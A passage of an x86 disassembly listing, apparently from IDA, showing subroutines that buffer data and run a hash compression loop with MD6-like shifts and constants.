; ---------------------------------------------------------------------------


loc_9A8FD7:				; CODE XREF: sub_9A8F65+6Cj
		mov	[esi+170h], edi
		mov	[esi+10Ch], ebx
		mov	[esi+174h], ebx
		jmp	short loc_9A8FEE
; ---------------------------------------------------------------------------


loc_9A8FEB:				; CODE XREF: sub_9A8F65+26j
					; sub_9A8F65+2Fj
		push	2


loc_9A8FED:				; CODE XREF: sub_9A8F65+70j
		pop	eax


loc_9A8FEE:				; CODE XREF: sub_9A8F65+84j
		pop	ebx


loc_9A8FEF:				; CODE XREF: sub_9A8F65+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_9A8F65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8FF3	proc near		; CODE XREF: sub_9A90E2+A2p

Dst		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_9A9003
		push	3
		jmp	short loc_9A900E
; ---------------------------------------------------------------------------


loc_9A9003:				; CODE XREF: sub_9A8FF3+Aj
		cmp	dword ptr [esi+10Ch], 0
		jnz	short loc_9A9014
		push	5


loc_9A900E:				; CODE XREF: sub_9A8FF3+Ej
		pop	eax
		jmp	loc_9A90DF
; ---------------------------------------------------------------------------


loc_9A9014:				; CODE XREF: sub_9A8FF3+17j
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jge	short loc_9A9024
		push	6


loc_9A901E:				; CODE XREF: sub_9A8FF3+38j
		pop	eax
		jmp	loc_9A90DE
; ---------------------------------------------------------------------------


loc_9A9024:				; CODE XREF: sub_9A8FF3+27j
		cmp	ebx, 1Ch
		jl	short loc_9A902D
		push	7
		jmp	short loc_9A901E
; ---------------------------------------------------------------------------


loc_9A902D:				; CODE XREF: sub_9A8FF3+34j
		lea	eax, [esi+118h]
		add	dword ptr [eax], 1
		adc	dword ptr [eax+4], 0
		cmp	ebx, 1
		jnz	short loc_9A9064
		mov	eax, [esi+16Ch]
		inc	eax
		cmp	eax, ebx
		jle	short loc_9A9054
		push	40h
		lea	eax, [esi+378h]
		jmp	short loc_9A905C
; ---------------------------------------------------------------------------


loc_9A9054:				; CODE XREF: sub_9A8FF3+55j
		push	30h
		lea	eax, [esi+3F8h]


loc_9A905C:				; CODE XREF: sub_9A8FF3+5Fj
		push	eax
		call	sub_9A8E1C
		pop	ecx
		pop	ecx


loc_9A9064:				; CODE XREF: sub_9A8FF3+4Aj
		push	edi
		lea	ecx, [esi+ebx*4+3B78h]
		mov	[ebp+arg_4], ecx
		mov	eax, 1000h
		sub	eax, [ecx]
		mov	ecx, ebx
		shl	ecx, 9
		lea	ecx, [ecx+esi+178h]
		push	ecx
		push	dword ptr [esi]
		lea	edi, [esi+ebx*8+3BF0h]
		push	dword ptr [esi+168h]
		add	esi, 128h
		push	eax
		push	[ebp+arg_C]
		mov	[ebp+Dst], ecx
		push	dword ptr [esi+44h]
		push	dword ptr [esi+48h]
		push	dword ptr [edi]
		push	ebx
		push	esi
		push	(offset	loc_9A3547+1)
		push	[ebp+arg_0]
		call	sub_9A9E4E
		xor	ecx, ecx
		add	esp, 30h
		cmp	eax, ecx
		jnz	short loc_9A90DD
		add	dword ptr [edi], 1
		mov	eax, [ebp+arg_4]
		push	200h		; Size
		adc	[edi+4], ecx
		push	ecx		; Val
		push	[ebp+Dst]	; Dst
		mov	[eax], ecx
		call	memset
		add	esp, 0Ch
		xor	eax, eax


loc_9A90DD:				; CODE XREF: sub_9A8FF3+CAj
		pop	edi


loc_9A90DE:				; CODE XREF: sub_9A8FF3+2Cj
		pop	ebx


loc_9A90DF:				; CODE XREF: sub_9A8FF3+1Cj
		pop	esi
		leave
		retn
sub_9A8FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A90E2	proc near		; CODE XREF: sub_9A90E2+148p
					; sub_9A9237+FDp ...

Src		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_9A90FA
		push	3
		jmp	short loc_9A9104
; ---------------------------------------------------------------------------


loc_9A90FA:				; CODE XREF: sub_9A90E2+12j
		cmp	[esi+10Ch], ebx
		jnz	short loc_9A910A
		push	5


loc_9A9104:				; CODE XREF: sub_9A90E2+16j
		pop	eax
		jmp	loc_9A9233
; ---------------------------------------------------------------------------


loc_9A910A:				; CODE XREF: sub_9A90E2+1Ej
		cmp	[ebp+arg_8], ebx
		push	edi
		mov	edi, [ebp+arg_4]
		jnz	short loc_9A9127
		cmp	dword ptr [esi+edi*4+3B78h], 1000h
		jnb	short loc_9A916D


loc_9A9120:				; CODE XREF: sub_9A90E2+6Cj
					; sub_9A90E2+77j ...
		xor	eax, eax
		jmp	loc_9A9232
; ---------------------------------------------------------------------------


loc_9A9127:				; CODE XREF: sub_9A90E2+2Fj
		cmp	edi, [esi+174h]
		jnz	short loc_9A916D
		mov	eax, [esi+16Ch]
		inc	eax
		cmp	edi, eax
		jnz	short loc_9A915B
		cmp	dword ptr [esi+edi*4+3B78h], 400h
		jnz	short loc_9A916D
		cmp	[esi+edi*8+3BF4h], ebx
		ja	short loc_9A9120
		cmp	[esi+edi*8+3BF0h], ebx
		jbe	short loc_9A916D
		jmp	short loc_9A9120
; ---------------------------------------------------------------------------


loc_9A915B:				; CODE XREF: sub_9A90E2+56j
		cmp	edi, 1
		jle	short loc_9A916D
		cmp	dword ptr [esi+edi*4+3B78h], 400h
		jz	short loc_9A9120


loc_9A916D:				; CODE XREF: sub_9A90E2+3Cj
					; sub_9A90E2+4Bj ...
		cmp	[ebp+arg_8], ebx
		jz	short loc_9A917D
		cmp	edi, [esi+174h]
		jnz	short loc_9A917D
		xor	ebx, ebx
		inc	ebx


loc_9A917D:				; CODE XREF: sub_9A90E2+8Ej
					; sub_9A90E2+96j
		push	ebx
		push	edi
		lea	eax, [ebp+Src]
		push	esi
		push	eax
		call	sub_9A8FF3
		add	esp, 10h
		test	eax, eax
		jnz	loc_9A9232
		cmp	ebx, 1
		jnz	short loc_9A91B3
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	loc_9A9120
; ---------------------------------------------------------------------------


loc_9A91B3:				; CODE XREF: sub_9A90E2+B5j
		mov	eax, [esi+16Ch]
		inc	eax
		inc	edi
		cmp	edi, eax
		jl	short loc_9A91E7
		mov	edi, eax
		cmp	edi, eax
		jnz	short loc_9A91E7
		mov	eax, [esi+edi*8+3BF0h]
		or	eax, [esi+edi*8+3BF4h]
		jnz	short loc_9A91E7
		lea	eax, [esi+edi*4+3B78h]
		cmp	dword ptr [eax], 0
		jnz	short loc_9A91E7
		mov	dword ptr [eax], 400h


loc_9A91E7:				; CODE XREF: sub_9A90E2+DBj
					; sub_9A90E2+E1j ...
		push	80h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	ebx, [esi+edi*4+3B78h]
		mov	eax, [ebx]
		shr	eax, 3
		mov	ecx, edi
		shl	ecx, 9
		add	eax, esi
		lea	eax, [ecx+eax+178h]
		push	eax		; Dst
		call	memcpy
		add	dword ptr [ebx], 400h
		lea	eax, [esi+174h]
		add	esp, 0Ch
		cmp	edi, [eax]
		jle	short loc_9A9225
		mov	[eax], edi


loc_9A9225:				; CODE XREF: sub_9A90E2+13Fj
		push	[ebp+arg_8]
		push	edi
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch


loc_9A9232:				; CODE XREF: sub_9A90E2+40j
					; sub_9A90E2+ACj
		pop	edi


loc_9A9233:				; CODE XREF: sub_9A90E2+23j
		pop	esi
		pop	ebx
		leave
		retn
sub_9A90E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9237	proc near		; CODE XREF: sub_9A8D34+42p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		jnz	short loc_9A9248
		push	3
		jmp	short loc_9A925B
; ---------------------------------------------------------------------------


loc_9A9248:				; CODE XREF: sub_9A9237+Bj
		cmp	[esi+10Ch], eax
		jnz	short loc_9A9254
		push	5
		jmp	short loc_9A925B
; ---------------------------------------------------------------------------


loc_9A9254:				; CODE XREF: sub_9A9237+17j
		cmp	[ebp+arg_4], eax
		jnz	short loc_9A9261
		push	8


loc_9A925B:				; CODE XREF: sub_9A9237+Fj
					; sub_9A9237+1Bj
		pop	eax
		jmp	loc_9A935C
; ---------------------------------------------------------------------------


loc_9A9261:				; CODE XREF: sub_9A9237+20j
		cmp	[ebp+arg_C], eax
		push	ebx
		mov	[ebp+arg_0], eax
		jb	loc_9A9359
		ja	short loc_9A9279
		cmp	[ebp+arg_8], eax
		jbe	loc_9A9359


loc_9A9279:				; CODE XREF: sub_9A9237+37j
					; sub_9A9237+10Ej ...
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	ecx, 1000h
		sub	ecx, [esi+3B7Ch]
		xor	ebx, ebx
		sub	edx, [ebp+arg_0]
		sbb	eax, ebx
		cmp	eax, ebx
		ja	short loc_9A929F
		jb	short loc_9A929B
		cmp	edx, ecx
		jnb	short loc_9A929F


loc_9A929B:				; CODE XREF: sub_9A9237+5Ej
		mov	ebx, edx
		jmp	short loc_9A92A1
; ---------------------------------------------------------------------------


loc_9A929F:				; CODE XREF: sub_9A9237+5Cj
					; sub_9A9237+62j
		mov	ebx, ecx


loc_9A92A1:				; CODE XREF: sub_9A9237+66j
		test	bl, 7
		jnz	short loc_9A92DB
		mov	eax, [esi+3B7Ch]
		test	al, 7
		jnz	short loc_9A92DB
		test	byte ptr [ebp+arg_0], 7
		jnz	short loc_9A92DB
		mov	ecx, ebx
		shr	ecx, 3
		push	ecx		; Size
		mov	ecx, [ebp+arg_0]
		shr	ecx, 3
		add	ecx, [ebp+arg_4]
		shr	eax, 3
		push	ecx		; Src
		lea	eax, [eax+esi+378h]
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_9A92FB
; ---------------------------------------------------------------------------


loc_9A92DB:				; CODE XREF: sub_9A9237+6Dj
					; sub_9A9237+77j ...
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		add	eax, [ebp+arg_4]
		push	ebx
		push	eax
		push	dword ptr [esi+3B7Ch]
		lea	eax, [esi+378h]
		push	eax
		call	sub_9A8E48
		add	esp, 10h


loc_9A92FB:				; CODE XREF: sub_9A9237+A2j
		add	[esi+3B7Ch], ebx
		add	[ebp+arg_0], ebx
		add	[esi+110h], ebx
		mov	eax, [esi+3B7Ch]
		adc	dword ptr [esi+114h], 0
		cmp	eax, 1000h
		jnz	short loc_9A9340
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		ja	short loc_9A9340
		jb	short loc_9A932F
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_9A9340


loc_9A932F:				; CODE XREF: sub_9A9237+EEj
		push	0
		push	1
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A935B


loc_9A9340:				; CODE XREF: sub_9A9237+E5j
					; sub_9A9237+ECj ...
		xor	eax, eax
		cmp	eax, [ebp+arg_C]
		jb	loc_9A9279
		ja	short loc_9A9359
		mov	eax, [ebp+arg_8]
		cmp	[ebp+arg_0], eax
		jb	loc_9A9279


loc_9A9359:				; CODE XREF: sub_9A9237+31j
					; sub_9A9237+3Cj ...
		xor	eax, eax


loc_9A935B:				; CODE XREF: sub_9A9237+107j
		pop	ebx


loc_9A935C:				; CODE XREF: sub_9A9237+25j
		pop	esi
		pop	ebp
		retn
sub_9A9237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A935F	proc near		; CODE XREF: sub_9A942A+8Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi]
		push	edi
		lea	eax, [ecx+7]
		cdq
		push	8
		pop	edi
		idiv	edi
		push	8
		mov	ebx, 80h
		mov	edi, eax
		mov	eax, ecx
		cdq
		pop	ecx
		idiv	ecx
		test	edi, edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jle	short loc_9A93A4
		mov	ecx, ebx
		lea	eax, [esi+8]
		sub	ecx, edi
		mov	[ebp+arg_0], edi


loc_9A9399:				; CODE XREF: sub_9A935F+43j
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_9A9399


loc_9A93A4:				; CODE XREF: sub_9A935F+2Ej
		cmp	edi, ebx
		jge	short loc_9A93C5
		lea	edx, [edi+esi+8]
		mov	ecx, ebx
		sub	ecx, edi
		mov	edi, edx
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	edi, [ebp+var_C]


loc_9A93C5:				; CODE XREF: sub_9A935F+47j
		cmp	[ebp+var_8], 0
		jle	short loc_9A9425
		test	edi, edi
		jle	short loc_9A9425
		push	8
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], 0FFFFFFF9h
		sub	[ebp+var_4], esi
		mov	[ebp+arg_0], 0FFFFFFF8h
		sub	[ebp+arg_0], esi
		mov	[ebp+var_10], eax
		lea	eax, [esi+8]


loc_9A93EF:				; CODE XREF: sub_9A935F+C4j
		mov	dl, [eax]
		mov	ecx, [ebp+var_10]
		shl	dl, cl
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		cmp	ecx, ebx
		mov	[eax], dl
		jge	short loc_9A941B
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+var_C]
		add	ecx, eax
		mov	bl, [ecx+esi+9]
		mov	cl, byte ptr [ebp+var_8]
		shr	bl, cl
		or	bl, dl
		mov	[eax], bl
		mov	ebx, 80h


loc_9A941B:				; CODE XREF: sub_9A935F+A0j
		mov	ecx, [ebp+arg_0]
		inc	eax
		add	ecx, eax
		cmp	ecx, edi
		jl	short loc_9A93EF


loc_9A9425:				; CODE XREF: sub_9A935F+6Aj
					; sub_9A935F+6Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A935F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A942A(int,void *Dst)

sub_9A942A	proc near		; CODE XREF: sub_9A8D34+50p

arg_0		= dword	ptr  4
Dst		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_9A9437
		push	3
		jmp	short loc_9A9442
; ---------------------------------------------------------------------------


loc_9A9437:				; CODE XREF: sub_9A942A+7j
		cmp	dword ptr [esi+10Ch], 0
		jnz	short loc_9A9445
		push	5


loc_9A9442:				; CODE XREF: sub_9A942A+Bj
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A9445:				; CODE XREF: sub_9A942A+14j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[esi+120h], ebx
		jz	short loc_9A94C1
		mov	ecx, [esi+174h]
		cmp	ecx, ebx
		mov	eax, ebx
		jz	short loc_9A9476
		jl	short loc_9A9476
		lea	ecx, [esi+3B7Ch]


loc_9A9465:				; CODE XREF: sub_9A942A+4Aj
		cmp	dword ptr [ecx], 0
		ja	short loc_9A9476
		inc	eax
		add	ecx, 4
		cmp	eax, [esi+174h]
		jle	short loc_9A9465


loc_9A9476:				; CODE XREF: sub_9A942A+31j
					; sub_9A942A+33j ...
		push	ebx
		push	eax
		push	esi
		call	sub_9A90E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A94C3
		push	edi
		lea	edi, [esi+8]
		push	10h
		push	edi
		call	sub_9A8E1C
		cmp	[esp+14h+Dst], 0
		pop	ecx
		pop	ecx
		jz	short loc_9A94B3
		mov	eax, [esi]
		add	eax, 7
		push	8
		pop	ecx
		cdq
		idiv	ecx
		push	eax		; Size
		push	edi		; Src
		push	[esp+14h+Dst]	; Dst
		call	memcpy
		add	esp, 0Ch


loc_9A94B3:				; CODE XREF: sub_9A942A+6Ej
		push	esi
		call	sub_9A935F
		pop	ecx
		mov	[esi+120h], ebx
		pop	edi


loc_9A94C1:				; CODE XREF: sub_9A942A+25j
		xor	eax, eax


loc_9A94C3:				; CODE XREF: sub_9A942A+59j
		pop	ebx
		pop	esi
		retn
sub_9A942A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A94C6	proc near		; CODE XREF: sub_9A9C7E+63p

var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	ecx, [ebp+arg_4]
		shl	ecx, 4
		test	ecx, ecx
		mov	[ebp+var_C], 89ABCDEFh
		mov	[ebp+var_8], 1234567h
		jle	locret_9A9C7C
		mov	eax, [ebp+arg_0]
		add	eax, 1D0h
		dec	ecx
		push	ebx
		shr	ecx, 4
		inc	ecx
		push	esi
		mov	[ebp+var_4], ecx
		push	edi


loc_9A94FB:				; CODE XREF: sub_9A94C6+7ADj
		mov	edi, [eax+50h]
		mov	ebx, [eax+68h]
		mov	esi, [eax+54h]
		mov	edx, [eax-11Ch]
		and	edx, [eax+4]
		and	ebx, edi
		mov	ecx, [eax-120h]
		and	ecx, [eax]
		mov	edi, [eax+6Ch]
		xor	ecx, ebx
		xor	ecx, [eax-1D0h]
		and	edi, esi
		xor	edx, edi
		xor	edx, [eax-1CCh]
		mov	esi, [eax+70h]
		xor	edx, [eax+74h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Bh
		xor	ebx, edx
		mov	edx, [eax-114h]
		and	edx, [eax+0Ch]
		shl	edi, 0Bh
		xor	edi, ecx
		mov	ecx, [eax-118h]
		and	ecx, [eax+8]
		mov	[eax+0FCh], ebx
		mov	ebx, [eax+58h]
		and	esi, ebx
		mov	ebx, [eax+74h]
		mov	[eax+0F8h], edi
		mov	edi, [eax+5Ch]
		and	ebx, edi
		xor	edx, ebx
		xor	edx, [eax-1C4h]
		xor	ecx, esi
		xor	ecx, [eax-1C8h]
		mov	esi, [eax+7Ch]
		xor	ecx, [eax+78h]
		xor	edx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 5
		xor	ecx, edi
		shr	ebx, 5
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 18h
		shl	edi, 18h
		xor	edi, ecx
		xor	ebx, edx
		mov	edx, [eax-10Ch]
		and	edx, [eax+14h]
		lea	ecx, [eax+80h]
		mov	[ebp+arg_4], ecx
		mov	ecx, [eax-110h]
		and	ecx, [eax+10h]
		mov	[eax+100h], edi
		mov	edi, [eax+60h]
		and	edi, [eax+78h]
		mov	[eax+104h], ebx
		mov	ebx, [eax+64h]
		and	ebx, esi
		mov	esi, [ebp+arg_4]
		xor	ecx, edi
		xor	ecx, [eax-1C0h]
		mov	edi, [esi]
		xor	edx, ebx
		xor	edx, [eax-1BCh]
		mov	esi, [esi+4]
		xor	ecx, edi
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		xor	edx, [ebp+var_8]
		mov	[ebp+var_30], esi
		mov	esi, ecx
		mov	ebx, edx
		shrd	esi, ebx, 0Dh
		xor	ecx, esi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	ebx, esi, 9
		xor	ebx, edx
		mov	edx, [eax-104h]
		and	edx, [eax+1Ch]
		shl	esi, 9
		xor	esi, ecx
		mov	ecx, [eax-108h]
		and	ecx, [eax+18h]
		mov	[eax+108h], esi
		mov	esi, [eax+68h]
		and	esi, edi
		mov	edi, [eax+6Ch]
		and	edi, [ebp+var_30]
		xor	ecx, esi
		xor	ecx, [eax-1B8h]
		mov	esi, [eax+88h]
		xor	edx, edi
		xor	edx, [eax-1B4h]
		xor	ecx, esi
		xor	edx, [eax+8Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+10Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 10h
		shl	edi, 10h
		xor	edi, ecx
		mov	ecx, [eax-100h]
		and	ecx, [eax+20h]
		xor	ebx, edx
		mov	edx, [eax-0FCh]
		and	edx, [eax+24h]
		mov	[eax+110h], edi
		mov	edi, [eax+70h]
		and	edi, esi
		mov	esi, [eax+74h]
		and	esi, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-1B0h]
		xor	edx, esi
		xor	edx, [eax-1ACh]
		mov	esi, [eax+90h]
		xor	edx, [eax+94h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+114h], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		shl	edi, 0Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	[eax+118h], edi
		mov	edx, [eax-0F4h]
		and	edx, [eax+2Ch]
		mov	edi, [eax+94h]
		and	edi, [eax+7Ch]
		mov	ecx, [eax-0F8h]
		and	ecx, [eax+28h]
		and	esi, [eax+78h]
		xor	edx, edi
		xor	edx, [eax-1A4h]
		xor	ecx, esi
		xor	ecx, [eax-1A8h]
		xor	edx, [eax+9Ch]
		mov	esi, [eax+98h]
		xor	edx, [ebp+var_8]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		mov	[eax+11Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 9
		xor	ebx, edx
		mov	edx, [eax-0ECh]
		and	edx, [eax+34h]
		shl	edi, 9
		xor	edi, ecx
		mov	ecx, [eax-0F0h]
		and	ecx, [eax+30h]
		mov	[eax+124h], ebx
		mov	ebx, [ebp+arg_4]
		mov	[eax+120h], edi
		mov	edi, esi
		and	edi, [ebx]
		mov	ebx, [eax+9Ch]
		and	ebx, [ebp+var_30]
		xor	ecx, edi
		xor	ecx, [eax-1A0h]
		xor	edx, ebx
		xor	edx, [eax-19Ch]
		xor	ecx, [eax+0A0h]
		xor	edx, [eax+0A4h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 2
		xor	ecx, edi
		shr	ebx, 2
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Bh
		xor	ebx, edx
		mov	edx, [eax-0E4h]
		and	edx, [eax+3Ch]
		shl	edi, 1Bh
		xor	edi, ecx
		mov	ecx, [eax-0E8h]
		and	ecx, [eax+38h]
		mov	[eax+128h], edi
		mov	edi, [eax+0A0h]
		and	edi, [eax+88h]
		mov	[eax+12Ch], ebx
		mov	ebx, [eax+0A4h]
		and	ebx, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-198h]
		xor	edx, ebx
		xor	edx, [eax-194h]
		xor	ecx, [eax+0A8h]
		xor	edx, [eax+0ACh]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
		mov	edx, [eax-0DCh]
		and	edx, [eax+44h]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0B0h]
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+0B4h]
		mov	[ebp+var_10], ecx
		mov	ecx, [eax-0E0h]
		and	ecx, [eax+40h]
		mov	[eax+130h], edi
		mov	edi, [eax+0A8h]
		and	edi, [eax+90h]
		mov	[eax+134h], ebx
		mov	ebx, [eax+0ACh]
		and	ebx, [eax+94h]
		xor	ecx, edi
		xor	ecx, [eax-190h]
		xor	edx, ebx
		xor	edx, [eax-18Ch]
		xor	ecx, [ebp+var_14]
		xor	edx, [ebp+var_10]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Eh
		xor	ecx, edi
		shr	ebx, 0Eh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 6
		shl	edi, 6
		xor	edi, ecx
		mov	ecx, [eax-0D8h]
		and	ecx, [eax+48h]
		xor	ebx, edx
		mov	edx, [eax-0D4h]
		and	edx, [eax+4Ch]
		mov	[eax+138h], edi
		mov	edi, [ebp+var_14]
		and	edi, esi
		mov	esi, [ebp+var_10]
		and	esi, [eax+9Ch]
		xor	ecx, edi
		xor	ecx, [eax-188h]
		xor	edx, esi
		xor	edx, [eax-184h]
		xor	ecx, [eax+0B8h]
		xor	edx, [eax+0BCh]
		xor	ecx, [ebp+var_C]
		mov	esi, [ebp+var_8]
		mov	[eax+13Ch], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Fh
		xor	ecx, edi
		shr	ebx, 0Fh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 2
		shl	edi, 2
		xor	edi, ecx
		mov	ecx, [eax-0D0h]
		and	ecx, [eax+50h]
		xor	ebx, edx
		mov	edx, [eax-0CCh]
		and	edx, [eax+54h]
		mov	[eax+140h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+144h], ebx
		and	edi, [eax+0A0h]
		mov	ebx, [eax+0BCh]
		and	ebx, [eax+0A4h]
		xor	ecx, edi
		xor	ecx, [eax-180h]
		xor	edx, ebx
		xor	edx, [eax-17Ch]
		xor	ecx, [eax+0C0h]
		xor	edx, [eax+0C4h]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Dh
		xor	ebx, edx
		mov	edx, [eax-0C4h]
		and	edx, [eax+5Ch]
		shl	edi, 1Dh
		xor	edi, ecx
		mov	ecx, [eax-0C8h]
		and	ecx, [eax+58h]
		mov	[eax+148h], edi
		mov	edi, [eax+0C0h]
		and	edi, [eax+0A8h]
		mov	[eax+14Ch], ebx
		mov	ebx, [eax+0C4h]
		and	ebx, [eax+0ACh]
		xor	ecx, edi
		xor	ecx, [eax-178h]
		xor	edx, ebx
		xor	edx, [eax-174h]
		xor	ecx, [eax+0C8h]
		xor	edx, [eax+0CCh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Dh
		xor	ecx, edi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 8
		shl	edi, 8
		xor	edi, ecx
		mov	ecx, [eax+0D0h]
		mov	[ebp+var_1C], ecx
		mov	ecx, [eax+0D4h]
		mov	[eax+150h], edi
		mov	edi, [ebp+var_14]
		and	edi, [eax+0C8h]
		xor	ebx, edx
		mov	edx, [eax-0BCh]
		and	edx, [eax+64h]
		mov	[ebp+var_18], ecx
		mov	ecx, [eax-0C0h]
		and	ecx, [eax+60h]
		mov	[ebp+var_3C], edi
		mov	edi, [ebp+var_10]
		and	edi, [eax+0CCh]
		xor	ecx, [ebp+var_3C]
		xor	edx, edi
		xor	ecx, [eax-170h]
		xor	edx, [eax-16Ch]
		xor	ecx, [ebp+var_1C]
		xor	edx, [ebp+var_18]
		xor	ecx, [ebp+var_C]
		mov	[eax+154h], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
